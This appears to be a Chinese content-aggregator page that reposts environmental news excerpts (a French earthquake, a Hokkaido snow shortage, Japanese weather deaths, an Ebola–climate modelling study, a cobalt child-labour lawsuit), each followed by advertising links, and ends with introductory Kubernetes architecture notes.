法國罕見地震規模5.4 近16年來最強

摘錄自2019年11月11日中央社報導

法國東南部11日近午時分發生一起芮氏規模5.4的地震,這個地區罕有超過規模5的地震,當地民眾感受特別深刻,已知有4人受傷,其中一人重傷。

法新社報導,巴黎地球物理研究所(IPGP)史特拉斯堡辦公室的學者梅格哈威(Mustapha Meghraoui)表示,這一地區的地震規模極少超過5,可以說這起地震很罕見。

震央鄰近克魯亞斯(Cruas)核電站及特里卡斯坦(Tricastin)核電站,法國電力集團(EDF)晚間決定暫停克魯亞斯核電站的反應爐,以便進行預防性檢測;法國核能安全署(ASN)表示,地震並未在相關設施造成顯著損壞,但仍將檢視反應爐重啟的條件。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

北海道降雪量不到往年一半 札幌積雪僅9厘米

摘錄自2020年1月9日星島日報報導

日本北海道今個冬天降雪異常,上月降雪量不到往年一半,創1961年統計以來新低紀錄,札幌雪祭月底就要開幕,主辦單位正緊急到30公里外的鄉鎮俱知安町及京極町等地「調雪」到札幌市大通公園,讓參加者製作冰雕。

札幌市中央區的積雪量到周四上午9時止只有9厘米,較往年同期的44厘米大幅減少,雪祭通常需要3000輛10噸重大卡車的雪量。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※教你寫出一流的銷售文案?

最致命的七月! 日本上月逾300人死於氣候災難

摘錄自2018年8月1日東森新聞台北報導

日本西部本月初暴雨成災,引發多處爆發土石流,造成斯多人死傷。禍不單行的是,暴雨過後又有熱浪來襲,數以萬計的人因中暑入院,不少人因此死亡。

更慘的是,最後還來了一個怪颱「雲雀」在日本拐來拐去,到處肆虐。 統計顯示,日本光是今年7月就有逾300人死於跟天氣相關的災難中,是該國近年最致命的一個月。

日本迎來極高溫天氣,東京史上首度熱破40°C,多處地方打破歷來的高溫紀錄,至少已有116人死於這一波熱浪。 當局周二(31日)公布的數字顯示:7月第二周因中暑入院的人數比前一周飆升兩倍至將近萬人,第三周再飆升至2.2萬人,上周則稍為降低到1.37萬人。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

FB行銷專家,教你從零開始的技巧

研究:伊波拉疫情將隨二氧化碳濃度升高而擴大

環境資訊中心外電;姜唯 翻譯;林大利 審校;稿源:Carbon Brief

根據發表在《自然通訊(Nature Communication)》的,當大氣中溫室氣體濃度升高,非洲伊波拉疫情爆發的威脅也將隨之增加。

隨著氣溫上升,蝙蝠和其他會將病毒傳播給人類的動物可能遷移到新的區域,進而帶來疾病。

新的模型顯示,如果人口繼續快速增加但發展緩慢且沒有相應的氣候行動,那麼到2070年,伊波拉疫情平均每10年就會爆發一次,今日的平均值是每17年一次。目前還不是疫區的西非和中非也可能受影響。

該研究的結論是,在當前的經濟增長速度和高碳排放水準下,高風險區域的總面積可能擴大五分之一。在更高的碳排放水準下,甚至可能擴大1/3。

作者們說,他們於2018年建立統計模型,成功預測了剛果民主共和國當前的疫情,目前伊波拉在當地已經奪走了兩千多條生命。

因此,他們認為,這份研究當為非洲(包括過去認為未受影響的地區)針對性的伊波拉疫苗計畫和醫療基礎設施的部署奠定基礎。

獅子山共和國境內努力對抗伊波拉病毒蔓延的村民。 (CC BY-NC-ND 2.0)

伊波拉病毒於1976年首次被發現,2014年爆發疫情,造成西非成千上萬人喪生,在世界各地成為頭條新聞。

一般認為這種傳染病是透過所謂的「溢出物感染」從蝙蝠和其他動物宿主傳播給人類的,是一種人畜共通傳染病。所有人類會感染的傳染病中,有2/3是人畜共通傳染病。

伊波拉病毒一旦感染人類,就可經由直接接觸在人與人之間傳播。人類的症狀包括發燒、嘔吐,有時還包括內部和外部出血。平均死亡率約為50%。

由於伊波拉疫情可能造成重大傷亡,科學家們必須了解下一次伊波拉疫情可能在何時何地爆發,以便分配醫療資源。

但是,由於伊波拉自發現以來,確認的疫情暴發僅有23次,很難用傳統預測常見傳染病(如流感)的方法預測。

伊波拉防疫措施。來源: 。(CC BY 2.0)

倫敦大學學院的雷丁(David Redding)博士、瓊斯(Kate Jones)博士及其團隊沒有用以前的爆發資料進行研究,而是「由下而上」建立伊波拉爆發的風險模型。

他們使用的資料包含許多因子,包括寄主分布、人口數、陸上交通、空中交通、以及土地利用類型。

該分析的一個關鍵要素是氣候變遷,它既能影響當地社會經濟發展,也可以影響疾病傳播,而且正如雷丁所說,「在我們的模型中,大部分氣候的影響來自於為攜帶疾病的物種提供更好的條件,從而擴大了其地理分布範圍。」

儘管究竟哪些動物能將伊波拉病毒傳給人類仍存在一些不確定性,最主要的嫌犯是大型狐蝠,而這種狐蝠常常被人類獵來吃。這些動物喜歡溫暖和潮濕的棲息地,隨著氣候變遷,高風險地區的棲息地還可能擴張。

分析中還納入了其他可能是傳染途徑的動物,如猿類和麂羚。

研究人員指出,從他們觀察到的結果看來,氣候的作用不如貧窮(後者與醫療保健的反應密切相關)和人口數。

但他們也發現,溢出物感染隨著溫室氣體濃度的增加而增加。雷丁說,「在我們的模型中,負面影響隨著排放增加越來越明顯。」

研究人員開發出一個可模擬西非流行的薩伊伊波拉病毒(Zaire Ebola virus, EBOV)人傳人和動物傳人的模型。

科學家用圖示說明在不同排放情境下的伊波拉病毒擴散風險。來源:

為了評估複雜的社會、經濟和氣候因素對非洲未來伊波拉病毒傳播的影響,研究團隊將氣候變遷情境中的代表濃度途徑(representative concentration pathways, RCPs)和共享社會經濟途徑(shared socio-economic pathways, SSPs)納入其模型。

RCPs代表不同程度的氣候行動導致溫室氣體濃度不斷升高的情境。SSP代表各種社會經濟發展情境,涉及全球社會、人口統計和經濟學的不同狀況。

接著,研究人員使用這些模型來預測到2070年非洲不同地區的伊波拉疫情風險變化。在大多數情境中,模擬結果顯示伊波拉發病率隨時間持續增加。

但是,在永續發展和氣候變遷大規模緩解的情境,伊波拉疫情風險普遍下降。

在現況條件下,模型預測,由溢出物感染引發的流行病大約每17年發生一次。流行病爆發在此定義為規模在1,500名患者以上的感染狀況。

團隊使用現況條件進行了約1,500次年度模擬,發現其中約有5.8%發生了疫情爆發。接著使用不同的條件組合重複此過程。

最大的增長發生在高排放、高人口增長和經濟發展緩慢的情況下(RCP6.0和SSP3),疫情幾乎每10年爆發一次。(論文的原始摘要寫道,在此情況下,疫情爆發的可能性比今日高出四倍,但是正確應是1.6倍。Carbon Brief與作者聯繫後確認了這一點。)

在最樂觀的情境下(假定排放量適中且發展迅速,即RCP4.5和SSP1),頻率下降到大約每30年一次。

模型也顯示,影響超過200萬人的「災難性疫情爆發」模式也很類似。目前這種事件預估每43年發生一次,但根據模擬,在高排放情境下,它們的發生頻率也將增加。

模型還預測有爆發風險的區域會擴大。例如,在最樂觀的社會經濟和氣候情況下,有爆發風險的總面積與今天相比減少了近一半(分別是40萬平方公里和80萬平方公里)。

相比之下,在低度氣候變遷緩解和中度發展(RCP6.0和SSP2)情境下,該面積增加了20.5%;在更極端的情況(RCP8.5和SSP3)下,該面積進一步增加了34%。

值得注意的是,許多傳染病是透過環境傳播(例如水或土壤傳播),但伊波拉病毒是透過宿主之間的直接接觸傳播。這表示儘管蝙蝠和人類直接受到氣候變遷的影響,但病毒本身卻不太容易受氣候變遷影響。

該論文的結論是,因應氣候變遷的全球性承諾也許有助降低伊波拉病例。但是對於這種推測不應太樂觀,因為「證據顯示不太可能發生全面性的改變」。

「在中部和西部非洲減少貧困以及增加醫療資源,似乎是降低全球未來伊波拉疫情風險最現實的方法。」

除了準確地找出已知有伊波拉疫情的地區外,該模型還確定了尼日、迦納和肯亞等國家都很可能受小規模溢出物感染和伊波拉疫情影響,儘管這些國家從來沒傳出伊波拉疫情過。

Ebola epidemics will ‘increase with greenhouse gas concentrations’, study finds by Josh Gabbatiss

The threat of Ebola outbreaks across Africa will increase as levels of greenhouse gases in the atmosphere rise, according to new research.

With warming temperatures, bats and other animals that are thought to transmit the virus to humans are expected to move into new areas, bringing the disease with them. 

The new modelling suggests that by 2070 epidemics could break out, on average, once every 10 years, if rapid population growth and slow development are accompanied by inaction on climate change. Under today’s conditions, the average is once every 17 years.

According to the analysis, published in , changing conditions may also affect regions of West and Central Africa that are not currently considered at risk.

The paper concludes that with current rates of economic growth and high emissions, the total epidemic-prone area could expand by a fifth. At even higher levels of emissions, it could expand by a third.

The scientists behind the work say their modelling, which was undertaken in 2018, has already successfully predicted the currently underway in the Democratic Republic of Congo that has claimed more than 2,000 lives.

With this in mind, they say the analysis should lay the groundwork for targeted Ebola vaccine programmes and healthcare infrastructure in Africa, including regions previously thought to be unaffected.

Modelling everything

First identified in 1976, Ebola around the world in 2014 when of epidemic proportions killed thousands of people in West Africa.

The viral disease is thought to pass to humans from bats and other animal hosts in so-called “spillover events”. It is one of the many “zoonotic”, or animal-borne, diseases that make up of all human infectious diseases. 

Once spread to humans, Ebola can be transmitted from person to person through direct contact. in humans include fever, vomiting and sometimes both internal and external bleeding. The average fatality rate is around 50%.

Given its potential to inflict significant harm, it is vital that scientists understand when and where the next outbreak of Ebola is likely to strike so that medical resources can be directed accordingly.

However, as there have only been around 23 confirmed outbreaks since the disease was discovered, traditional methods used to predict common infections, such as flu, are difficult.

Instead of working from previous outbreak data, of , along with his colleague and their team, developed an outbreak risk model “from the bottom-up”. 

They used data on a range of factors including host distribution, human population size, people’s movements by roads and air, and land use.

, who leads the group at the and was not involved in the study, tells Carbon Brief that combining all these factors into a model is “extremely complex”. “Therefore, I am impressed by this work,” he says.

One vital component of the analysis was climate change, which can influence disease spread both by affecting both local socioeconomic development and, as Redding tells Carbon Brief, the host species themselves:

“In our model most of the climate effects are through better conditions for the disease-carrying species, thus increasing their native geographical range.”

While there is still about precisely which animals pass Ebola on to humans, the prime suspects are large fruit bats that are often hunted . These creatures are known to prefer warm and wet habitats, which are expected to expand in the target regions as the climate changes.

Other animals thought to provide alternative routes for infection, such as apes and duiker antelopes, were also considered in the analysis.

The researchers note that climate played a less important role in their observed outcomes than poverty – which is closely tied with healthcare response – and human population size. 

However, they also note that spillover events “increased with greenhouse gas concentrations”. Redding explains:

“There is a positive association in our model results with increasingly more negative impact with higher emission scenarios.”

Epidemic expansion

The researchers developed a model that simulated animal-to-human and human-to-human transmission of Zaire Ebola virus (EBOV), the strain responsible for the West African epidemic.

In order to gauge the impact of complex social, economic and climate factors on future Ebola transmission in Africa, the team then incorporated representative concentration pathways () and shared socio-economic pathways () into their modelling.

RCPs broadly represent scenarios with ever-higher levels of greenhouse gases resulting from different levels of climate action. SSPs are for various socioeconomic development scenarios, involving different outcomes for global society, demographics and economics.

(For more, see Carbon Brief’s recent on RCP8.5 and Carbon Brief’s SSP .)

The researchers then used these models to project changes in Ebola risk across different African regions by the year 2070.

Writing in their paper, they say their simulations suggest a “general, ongoing increase in Ebola incidence over time” for most scenarios.

However, for scenarios involving sustainable development and extensive climate mitigation, there was a general decrease in Ebola risk (the chart below gives an idea of changing risk in different scenario combinations).

Change in future risks of Ebola virus disease under different RCP and SSP scenarios. Each map represents mean change in “per grid cell probability” of an Ebola case from zero (yellow) to −0.06 (dark blue) and 0.06 (red), aggregated at a country level with data from the group’s model for 2070. Source: Redding et al. (2019)

Under current conditions, the models predict an epidemic resulting from a spillover event will occur roughly once every 17 years. An epidemic was defined as an outbreak involving more than 1,500 patients.

To arrive at this conclusion, the team ran around 1,500 yearly simulations using present day conditions and found that epidemics occurred in approximately 5.8% of them. This process was then repeated using different sets of conditions.

The greatest increase occurs in a scenario with high emissions, high population growth and slow economic development (RCP6.0 and SSP3), with epidemics expected to occur nearly once every 10 years.

(The likelihood of epidemics occurring under these conditions compared to present day was incorrectly described as four times more likely, instead of 1.6 times more likely, in the paper’s original abstract. The authors confirmed this after Carbon Brief contacted them about the discrepancy.)

Under the most optimistic of the scenarios they used – which assumes moderate emissions and high development (RCP4.5 and SSP1) – the occurrence drops to roughly once every 30 years.

A similar pattern is expected to play out for “catastrophic epidemics” affecting more than two million people. These events are currently predicted to take place once every 43 years, but the modelling suggests they will increase in frequency under high-emissions scenarios.

The models also predict an expansion in the area at risk from outbreaks. For example, under the most optimistic socioeconomic and climate scenario, the total area where epidemics could start decreased by nearly half compared to present day (0.4m square kilometres, km2, compared to 0.8m km2).

In comparison, in a scenario involving low climate mitigation and “middle of the road” development (RCP6.0 and SSP2), this area increased by 20.5%, Under a more extreme scenario (RCP8.5 and SSP3) this increased further, by 34%.

Disease and climate

While the links between climate and Ebola, Redding and his co-authors think this is the first attempt to model future transmission of the disease that takes climate change into account.

Baylis says there has been extensive work exploring direct links between changing climate and the spread of disease – for example, in the Kenyan highlands and malaria risk. 

However, while work from his own group has suggested of infectious diseases are susceptible to climate, he says identifying these links can be challenging:

“Attribution is difficult, because we are really saying that climate change increases the probability of an event, but extreme events are expected even without climate change.”

It is worth noting that while many infectious diseases are transmitted via the environment (by way of water or soil, for example), Ebola moves via direct contact between hosts. This means while bats and humans are affected directly by the changing climate, the virus itself is less susceptible to a changing climate.

The paper concludes that global commitments to tackle climate change may drive down Ebola cases. However, it is not optimistic about this outcome, noting “evidence suggests a wholesale change is unlikely”:

“Efforts to decrease poverty in Central and Western Africa with a concomitant increase in healthcare resources, therefore, would appear to be the most realistic approach to reducing future Ebola virus disease risk globally.”

Future response

Besides accurately identifying the known endemic area for Ebola, the modelling also identifies countries such as Nigeria, Ghana and Kenya as vulnerable to both small spillovers and epidemics of Ebola, despite never having been the source of such outbreaks before.

The team says their approach “somewhat contradict[s] analyses based on current case data”.

According to Baylis, the team’s validation of past outbreaks using the new approach increases confidence in future predictions, but notes the models are still “likely constrained by the quality of our knowledge of Ebola hosts, which is not high”.

Besides identifying a “much larger” area within Africa that is vulnerable to spillover events, the team also incorporated information about airline routes and concluded that China, Russia, India, the US and many European countries were at risk of importing the disease.

According to Redding, their work “acts as a call” for both a better understanding of where Ebola outbreaks could hit, plus the need for cooperation between wealthier and poorer countries to improve healthcare resources in preparation. He concludes:

“Such an approach is a no-lose situation as better containment facilities and barrier nursing, for example, could protect nations and their neighbours against many different future disease outbreaks, not just Ebola.”

※ 全文及圖片詳見:()

※ 論文資料:Redding, D. et al. (2019) Impacts of environmental and socio-economic factors on emergence and epidemic potential of Ebola in Africa, Nature Communications,

作者

如果有一件事是重要的,如果能為孩子實現一個願望,那就是人類與大自然和諧共存。

於特有生物研究保育中心服務,小鳥和棲地是主要的研究對象。是龜毛的讀者,認為龜毛是探索世界的美德。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

用剛果童工挖鈷致死或殘 5科技巨頭挨告

摘錄自2019年12月17日聯合報報導

特斯拉、蘋果、微軟、戴爾、Google母公司字母(Alphabet)以共謀罪名被告上法庭。這是科技業首次因其鈷來源,共同面臨法律訴訟。

代表剛果民主共和國14個家庭擔任原告的美國人權組織「國際權利倡議」(International Rights Advocates)15日提告五家全球大型科技公司,指強迫勞動的體系導致這些家庭的小孩死亡或重傷,而五家科技業者是這個體系的一部分。

這起訴訟說,案件裡的兒童,最小的才6歲,因為出身赤貧家庭,不得不休學到嘉能可的礦坑挖鈷。他們每周要工作六天,有些人領的日薪低到只有1.5美元(約台幣45元)。

鈷是製造科技產品內部可重複使用鋰電池的必要材料。全球一半以上的鈷產自剛果民主共和國。根據歐盟執委會2018年的一份研究,未來10年全球鈷需求料將每年增加7%到13%。原告主張,挨告的科技業者全都有能力徹底整頓旗下鈷供應鏈,以確保更安全的工作條件。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

跟殺蟑盒一樣的殺蜂盒 日網友:不分蜂類都傷害到怎麼辦呢?

文:宋瑞文

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

FB行銷專家,教你從零開始的技巧

【K8S學習筆記】初識K8S 及架構組件

K8S是什麼?發展歷史

Kubernetes (簡稱 k8s)是 Google 在2014年開源的,對容器生命周期管理的開源平台,致力於對容器集群提供易於管理、高可用、彈性負載與故障轉移的能力,提高服務運維自動化的能力。

最初,Google 開發了一個叫 Borg 的系統(現在命名為Omega)來調度據說有20多億個容器和工作負載。在積累了 10 余年經驗后,Google 決定重寫這個容器管理系統,並將其命名為 Kubernetes 貢獻給開源社區,讓全世界都能因此受益。

自從開源以來,K8S迅速獲得開源社區的追捧,包括RedHat、VMware、Canonical在內的有很大影響力公司加入到開發與推廣的陣營。

當微服務的概念的落地實踐開始,微服務就與容器緊緊地綁在了一起,可以說K8s的成功離不開微服務與容器。

2017年是容器生態發展歷史中具有里程碑意義的一年。

在這一年,長期作為Docker競爭對手的RKT容器一派的領導者CoreOS宣布放棄自己的容器管理系統Fleet,未來將會把所有容器管理的功能移至Kubernetes之上去實現。

在這一年,容器管理領域的獨角獸Rancher Labs宣布放棄其內置了數年的容器管理系統Cattle,提出了“All-in-Kubernetes”戰略,從2.0版本開始把1.x版本能夠支持多種容器管理工具的Rancher,“升級”為只支持Kubernetes一種容器管理系統。

在這一年,Kubernetes的主要競爭者Apache Mesos在9月正式宣布了“Kubernetes on Mesos”集成計劃,由競爭關係轉為對Kubernetes提供支持,使其能夠與Mesos的其他一級框架(如HDFS、Spark 和Chronos,等等)進行集群資源動態共享、分配與隔離。

在這一年,Kubernetes的最大競爭者Docker Swarm的母公司Docker,終於在10月被迫宣布Docker要同時支持Swarm與Kubernetes兩套容器管理系統,事實上承認了Kubernetes的統治地位。這場已經持續了三、四年時間,以Docker Swarm、Apache Mesos與Kubernetes為主要競爭者的“容器戰爭”終於有了明確的結果。

時至今日,K8S 已經是發展最快、市場佔有率最高的容器編排系統,是業界標杆。

小結:Kubernetes是Google公司2014年開源的容器編排產品,經過多年的發展,已經成為容器編排領域的佼佼者,擁有最廣大的用戶群體

應用部署容器化的發展歷程

要說K8S的作用,得先從容器的發展與優勢講起,大致可分為 傳統部署時代、虛擬化部署時代、容器部署時代

傳統部署時代: 早期,在物理服務器上運行應用程序。無法為物理服務器中的應用程序定義資源邊界,這會導致資源分配困難與資源浪費的問題。例如,如果在物理服務器上運行多個應用程序,則可能會出現一個應用程序佔用大部分資源的情況,結果可能導致其他應用程序的性能下降。一種解決方案是在不同的物理服務器上運行每個應用程序,但是由於資源利用不足而無法擴展,並且組織維護許多物理服務器的成本很高

虛擬化部署時代: 作為解決方案,引入了虛擬化功能,它允許您在單個物理服務器的 CPU 上運行多個虛擬機(VM)。虛擬化功能允許應用程序在 VM 之間隔離,並提供安全級別,因為一個應用程序的信息不能被另一應用程序自由地訪問。

因為虛擬化可以輕鬆地添加或更新應用程序、降低硬件成本等等,所以虛擬化可以更好地利用物理服務器中的資源,並可以實現更好的可伸縮性。

每個 VM 是一台完整的計算機,在虛擬化硬件之上運行所有組件,包括其自己的操作系統,這勢必也會造成資源的浪費、性能的下降

容器部署時代: 容器類似於 VM,但是它們具有輕量級的隔離屬性,可以在應用程序之間共享操作系統(OS)。因此,容器被認為是輕量級的。容器與 VM 類似,具有自己的文件系統、CPU、內存、進程空間等。由於它們與基礎架構分離,因此可以跨雲和 OS 分發進行移植

容器因具有許多優勢而變得流行起來。下面列出了容器的一些好處

  • 敏捷應用程序的創建和部署:與使用 VM 鏡像相比,提高了容器鏡像創建的簡便性和效率。
  • 持續開發、集成和部署:通過快速簡單的回滾(由於鏡像不可變性),提供可靠且頻繁的容器鏡像構建和部署。
  • 關注開發與運維的分離:在構建/發布時而不是在部署時創建應用程序容器鏡像,從而將應用程序與基礎架構分離。
  • 可觀察性:不僅可以显示操作系統級別的信息和指標,還可以显示應用程序的運行狀況和其他指標信號。
  • 跨開發、測試和生產的環境一致性:在便攜式計算機上與在雲中相同地運行。
  • 雲和操作系統分發的可移植性:可在 Ubuntu、RHEL、CoreOS、本地、Google Kubernetes Engine 和其他任何地方運行。
  • 以應用程序為中心的管理:提高抽象級別,從在虛擬硬件上運行 OS 到使用邏輯資源在 OS 上運行應用程序。
  • 鬆散耦合、分佈式、彈性、解放的微服務:應用程序被分解成較小的獨立部分,並且可以動態部署和管理 – 而不是在一台大型單機上整體運行。
  • 資源隔離:可預測的應用程序性能。
  • 資源利用:高效率和高密度。

小結:相對於傳統物理機部署方式,虛擬機部署將資源更好的隔離開來,使資源分配與隔離的問題解決,提高了資源使用率,但是由於其虛擬了硬件與OS,會浪費不必要的資源;容器部署繼承了虛擬機部署的資源隔離優勢的同時,使用共享宿主機的硬件與OS的方式,資源消耗更少,由於與基礎架構進行了分離,可以做到良好的移植性

為什麼需要 Kubernetes,它能做什麼?

容器是打包和運行應用程序的好方式。在生產環境中,如果一個容器發生故障,則啟動另一個容器。如此處理會不會更簡單?

K8s就是這麼做的!K8s 為您提供了一個可彈性運行分佈式系統的框架,能滿足您的擴展要求、故障轉移、部署模式等。

Kubernetes 為您提供:

  • 服務發現和負載均衡
    Kubernetes 可以使用 DNS 名稱或自己的 IP 地址公開容器,如果到容器的流量很大,Kubernetes 可以負載均衡並分配網絡流量,從而使部署穩定。

  • 存儲編排
    Kubernetes 允許您自動掛載您選擇的存儲系統,例如本地存儲、公共雲提供商等。

  • 自動部署和回滾
    您可以使用 Kubernetes 描述已部署容器的所需狀態,它可以以受控的速率將實際狀態更改為所需狀態。例如,您可以自動化 Kubernetes 來為您的部署創建新容器,刪除現有容器並將它們的所有資源用於新容器。

  • 自動二進制打包
    Kubernetes 允許您指定每個容器所需 CPU 和內存(RAM)。當容器指定了資源請求時,Kubernetes 可以做出更好的決策來管理容器的資源。

  • 自我修復
    Kubernetes 重新啟動失敗的容器、替換容器、殺死不響應用戶定義的運行狀況檢查的容器,並且在準備好服務之前不將其通告給客戶端。

  • 密鑰與配置管理
    Kubernetes 允許您存儲和管理敏感信息,例如密碼、OAuth 令牌和 ssh 密鑰。您可以在不重建容器鏡像的情況下部署和更新密鑰和應用程序配置,也無需在堆棧配置中暴露密鑰。

小結:K8S 提供了服務發現和負載均衡、存儲編排、自動部署和回滾、自動二進制打包、自我修復、密鑰與配置管理等功能,能滿足您的擴展要求、故障轉移、部署模式等需求

擴展
1、有微服務實踐的讀者可能會發現,微服務組件中的服務發現、負載均衡、網關等功能在K8s體系中都有對應的實現,那麼是不是我就可以不使用其他微服務的體系而直接擁抱K8s呢?
答案是可以的。但有一點限制就是開發人員要學習K8s,偏向DevOps了。
2、既然K8s提供了微服務所需的基礎組件實現,但我可以不用么?
答案也是可行的。K8s的組件插拔能力允許你這麼做,這樣一來開發測試環境使用本地部署註冊中心等組件,開發人員就無需關心K8s了,只需要理解所用微服務框架本身,如Spring Cloud等。

Kubernetes 不是什麼

Kubernetes 不是傳統的、包羅萬象的 PaaS(平台即服務)系統。它只提供了 PaaS 產品共有的一些普遍適用的功能,例如部署、擴展、負載均衡、日誌記錄和監視。但是,Kubernetes 不是單一的,默認解決方案是可選和可插拔的。Kubernetes 提供了構建開發人員平台的基礎,但是在重要的地方保留了用戶的選擇和靈活性。

Kubernetes:

  • 不限制支持的應用程序類型。Kubernetes 旨在支持極其多種多樣的工作負載,包括無狀態、有狀態和數據處理工作負載。如果應用程序可以在容器中運行,那麼它應該可以在 Kubernetes 上很好地運行。

  • 不部署源代碼,也不構建您的應用程序。持續集成(CI)、交付和部署(CI/CD)工作流取決於組織的文化和偏好以及技術要求。

  • 不提供應用程序級別的服務作為內置服務,例如中間件(例如,消息中間件)、數據處理框架(例如,Spark)、數據庫(例如,mysql)、緩存、集群存儲系統(例如,Ceph)。這樣的組件可以在 Kubernetes 上運行,並且/或者可以由運行在 Kubernetes 上的應用程序通過可移植機制(例如,開放服務代理)來訪問。

  • 不指定日誌記錄、監視或警報解決方案。它提供了一些集成作為概念證明,並提供了收集和導出指標的機制。

  • 不提供或不要求配置語言/系統(例如 jsonnet),它提供了聲明性 API,該聲明性 API 可以由任意形式的聲明性規範所構成。

  • 不提供也不採用任何全面的機器配置、維護、管理或自我修復系統

  • 此外,Kubernetes 不僅僅是一個編排系統,實際上它消除了編排的需要。編排的技術定義是執行已定義的工作流程:首先執行 A,然後執行 B,再執行 C。相比之下,Kubernetes 包含一組獨立的、可組合的控制過程,這些過程連續地將當前狀態驅動到所提供的所需狀態。從 A 到 C 的方式無關緊要,也不需要集中控制,這使得系統更易於使用且功能更強大、健壯、彈性和可擴展性。

小結:K8S 提供了基礎的容器編排平台,但並不是大而全地將所有可能的功能都直接集成進來,而是做成可插拔的形式,可以做到因地適宜地組織與管理集群,擁有很高的靈活性。

Kubernetes 架構與組件

K8s的架構如上圖,左邊虛線框的部分稱為 控制平面(Control Plane),右側為 集群節點(Nodes)

控制平面所在的主機稱為 Master 節點,其餘稱為 Nodes 執行節點

簡單按這兩種角色來講,Master節點負責發號施令(下發命令、監控節點與容器狀態),而 Nodes 節點負責幹活

控制平面(Control Plane)組件

控制平面的組件對集群做出全局決策(比如調度),以及檢測和響應集群事件

控制平面組件可以在集群中的任何節點上運行。簡單起見,通常會將控制平台配置在一台主機上,也可以配置高可用形式。

下邊我們介紹下 控制平面中的幾大組件:

  • kube-apiserver:Master節點上負責提供 Kubernetes API 服務的組件;它是 Kubernetes 控制面的前端,由它來接收來自 CLI 與 UI 的指令
  • etcd:是兼具一致性和高可用性的鍵值數據庫,可以作為保存 Kubernetes 所有集群數據的後台數據庫。
  • kube-scheduler:Master節點上的組件,該組件監視那些新創建的未指定運行節點的 Pod,並選擇節點讓 Pod 在上面運行。
  • kube-controller-manager:控制器通過 apiserver 監控集群的公共狀態,並致力於將當前狀態轉變為期望的狀態。從邏輯上講,每個控制器都是一個單獨的進程,但是為了降低複雜性,它們都被編譯到同一個可執行文件,並在一個進程中運行。包含以下幾種控制器:
    • 節點控制器(Node Controller): 負責在節點出現故障時進行通知和響應。
    • 副本控制器(Replication Controller): 負責為系統中的每個副本控制器對象維護正確數量的 Pod。
    • 端點控制器(Endpoints Controller): 填充端點(Endpoints)對象(即加入 Service 與 Pod)。
    • 服務帳戶和令牌控制器(Service Account & Token Controllers): 為新的命名空間創建默認帳戶和 API 訪問令牌
  • cloud-controller-manager:雲控制器管理器負責與基礎雲提供商交互,以下控制器具有雲提供商依賴性:
    • 節點控制器(Node Controller): 用於檢查雲提供商以確定節點是否在雲中停止響應后被刪除
    • 路由控制器(Route Controller): 用於在底層雲基礎架構中設置路由
    • 服務控制器(Service Controller): 用於創建、更新和刪除雲提供商負載均衡器
    • 數據卷控制器(Volume Controller): 用於創建、附加和裝載卷、並與雲提供商進行交互以編排卷

節點(Node) 組件

節點組件在每個節點上運行,維護運行的 Pod 並提供 Kubernetes 運行環境

節點組件包含兩大組件:

  • kubelet:一個在集群中每個節點上運行的代理。它保證容器都運行在 Pod 中。

    kubelet 接收一組通過各類機制提供給它的 PodSpecs,確保這些 PodSpecs 中描述的容器處於運行狀態且健康。kubelet 不會管理不是由 Kubernetes 創建的容器。

  • kube-proxy:是集群中每個節點上運行的網絡代理,實現 Kubernetes Service 概念的一部分。

    kube-proxy 維護節點上的網絡規則。這些網絡規則允許從集群內部或外部的網絡會話與 Pod 進行網絡通信。

    如果操作系統提供了數據包過濾層並可用的話,kube-proxy會通過它來實現網絡規則。否則,kube-proxy 僅轉發流量本身

  • 容器運行環境(Container Runtime):容器運行環境是負責運行容器的軟件。K8s支持多種容器運行環境:Docker、containerd、cri-o、rklet 以及任何實現K8s容器運行環境接口的技術。

插件(Addons)

  • DNS:所有 Kubernetes 集群都應具有 DNS。集群 DNS 還是一個 DNS 服務器,它為 Kubernetes 服務提供 DNS 記錄。

  • 用戶界面(Dashboard):Kubernetes 集群基於 Web 的 UI。它使用戶可以管理集群中運行的應用程序以及集群本身並進行故障排除。

Dashboard 是 Kubernetes 集群的通用基於 Web 的 UI。它使用戶可以管理集群中運行的應用程序以及集群本身並進行故障排除。

  • 容器資源監控:將關於容器的一些常見的時間序列度量值保存到一個集中的數據庫中,並提供用於瀏覽這些數據的界面。

  • 集群層面日誌:負責將容器的日誌數據保存到一個集中的日誌存儲中,該存儲能夠提供搜索和瀏覽接口。

小結:K8s架構分為控制平台位於的Master節點與執行節點Node

控制平台包含:

  • kube-apiserver(訪問入口,接收命令)
  • etcd(KV數據庫,保存集群狀態與數據)
  • kube-scheduler(監控節點狀態,調度容器部署)
  • kube-controller-manager(監控集群狀態,控制節點、副本、端點、賬戶與令牌)
